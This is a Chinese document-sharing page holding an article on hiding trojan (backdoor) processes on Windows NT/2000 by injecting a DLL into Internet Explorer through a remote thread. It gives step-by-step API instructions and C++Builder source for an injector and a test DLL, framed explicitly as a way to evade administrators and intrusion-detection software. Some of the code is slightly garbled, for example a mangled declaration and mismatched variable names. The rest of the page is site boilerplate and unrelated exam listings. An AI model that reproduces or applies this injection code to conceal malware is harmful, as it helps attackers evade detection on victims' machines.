下載本文檔
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
WindowsNT2000系統(tǒng)下進(jìn)程的隱藏
關(guān)鍵字進(jìn)程線程木馬動態(tài)鏈接庫木馬程序(也稱后門程序)是能被控制的運行在遠(yuǎn)程主機上的程序,由于木馬程序是運行在遠(yuǎn)程主機上,所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點。本文分析了WindowsNT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法,并著重討論運用線程嫁接技術(shù)如何實現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。1基本原理在WIN95/98中,只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務(wù)管理器,WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進(jìn)程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進(jìn)程,尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個木馬在運行時被檢測軟件同時查出端口和進(jìn)程,我們基本上認(rèn)為這個木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進(jìn)程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進(jìn)程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進(jìn)程;第二是不使用進(jìn)程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中,遠(yuǎn)程進(jìn)程則是合法的用戶程序,這樣用戶管理者看到的只是合法進(jìn)程,而無法發(fā)現(xiàn)木馬線程的存在,從而達(dá)到隱藏的目的。2實現(xiàn)方法
為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"DLL,DLL是DynamicLinkLibrary(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進(jìn)程加載并調(diào)用的。因為DLL文件不能獨立運行,所以在進(jìn)程列表中并不會出現(xiàn)DLL,假設(shè)我們編寫了一個木馬DLL,并且通過別的進(jìn)程來運行它,那么無論是入侵檢測軟件還是進(jìn)程列表中,都只會出現(xiàn)那個進(jìn)程而并不會出現(xiàn)木馬DLL,如果那個進(jìn)程是可信進(jìn)程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進(jìn)程的一部分,也將成為被信賴的一員,也就達(dá)到了隱藏的目的。
運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進(jìn)程中的技術(shù)。理論上來說,在Windows中的每個進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對這個私有空間進(jìn)行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠(yuǎn)程線程等,這里介紹一下遠(yuǎn)程線程技術(shù),它只要有基本的進(jìn)線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。遠(yuǎn)程線程技術(shù)指的是通過在另一個進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程)的地址空間,所以,實際上,我們通過一個遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。3實施步驟1)用Process32Next()函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用OpenProcess()函數(shù)打開宿主進(jìn)程。2)用VirtualAllocEx()函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的內(nèi)存。3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。6)用CreateRemoteThread()函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個線程。7)它調(diào)用正確的LoadlibraryA()函數(shù)。8)為它傳遞步驟二中分配的內(nèi)存地址。4具體實例下面是在C++Builder4.0環(huán)境下編寫的運用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼:#include<vcl.h>#include<windows.h>#include<stdio.h>#include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)#pragmahdrstop#include"Unit1.h"#pragmapackage(smart_init)#pragmaresource"*.dfm"InsistingpszLibFileName;//存放待隱藏的DLL文件名HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間HMODULEphmd;//存放kernel32.dll句柄HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄TForm1*Form1;//__fastcallTForm1::TForm1(TComponent*Owner):TForm(Owner){}//void__fastcallTForm1::Button1Click(TObject*Sender)pe32.dwSize=sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap,&pe32))//獲取第一個進(jìn)程{do{AnsiStringte;te=pe32.szExeFile;if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))//找到宿主進(jìn)程,以IEXPLORE.EXE為例{dwRemoteProcessId=pe32.th32ProcessID;break;}}while(Process32Next(hProcessSnap,&pe32));//獲取下一個進(jìn)程}else{MessageBox(NULL,"取第一個進(jìn)程失敗","",MB_OK);exit(0);}hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,F(xiàn)ALSE,dwRemoteProcessId);//打開遠(yuǎn)程進(jìn)程pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";//假設(shè)hide.dll是待隱藏的進(jìn)程intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);//申請存放文件名的空間BOOLReturnCode=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);//把dll文件名寫入申請的空間phmd=GetModuleHandle("kernel32.dll");LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(phmd,"LoadLibraryA");//獲取動態(tài)鏈接庫函數(shù)地址hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);//創(chuàng)建遠(yuǎn)程線程該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。至此,遠(yuǎn)程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:#include<vcl.h>#include<windows.h>#pragmahdrstop#pragmaargsusedBOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved){charszProcessId[64];switch(reason){caseDLL_PROCESS_ATTACH:{//獲取當(dāng)前進(jìn)程IDitoa(GetCurrentProcessId(),szProcessId,10);MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);break;}default:}returnTRUE;}
當(dāng)使用RmtDll.exe程序?qū)⑦@個hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時使用PS工具也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年中職中藥制藥技術(shù)(中藥提取技術(shù))試題及答案
- 中職第二學(xué)年(電子商務(wù)基礎(chǔ))網(wǎng)絡(luò)營銷實務(wù)2026年綜合測試題及答案
- 2025年大四(農(nóng)業(yè)建筑環(huán)境與能源工程)農(nóng)村能源利用測試卷
- 2025年大學(xué)大一(旅游管理)旅游學(xué)概論基礎(chǔ)試題及答案
- 2026年數(shù)據(jù)可視化(三維可視化)考題及答案
- 2025年中職給排水工程技術(shù)(給排水施工技術(shù))試題及答案
- 2025年中職第二學(xué)年(消防工程技術(shù))火災(zāi)報警系統(tǒng)調(diào)試測試題及答案
- 2026年抗壓能力(情緒管理)綜合測試題及答案
- 2025年高職(工藝美術(shù)品設(shè)計)工藝美術(shù)品創(chuàng)作試題及答案
- 2025年高職寵物養(yǎng)護(hù)與經(jīng)營(寵物美容與訓(xùn)導(dǎo))試題及答案
- 籌建期間會計管理制度
- 百萬蛋雞養(yǎng)殖場項目環(huán)境影響報告書
- T-CEPPEA 5002-2019 電力建設(shè)項目工程總承包管理規(guī)范
- 2025年高考語文復(fù)習(xí)之文言文閱讀(全國)12 選擇性必修下教材文言文挖空練習(xí)+重要知識點歸類(含答案)
- 房屋出租安全免責(zé)協(xié)議書
- 2024《整治形式主義為基層減負(fù)若干規(guī)定》全文課件
- 2024年建筑繼續(xù)教育-建筑八大員(九大員)繼續(xù)教育筆試歷年真題薈萃含答案
- 慢性中耳炎教學(xué)查房
- (2023年基價)井巷工程消耗量定額說明
- 放射醫(yī)學(xué)技術(shù)職稱考試 《相關(guān)專業(yè)知識》篇 考點匯總
- 地鐵資料城市軌道交通設(shè)備系統(tǒng)控制中心
評論
0/150
提交評論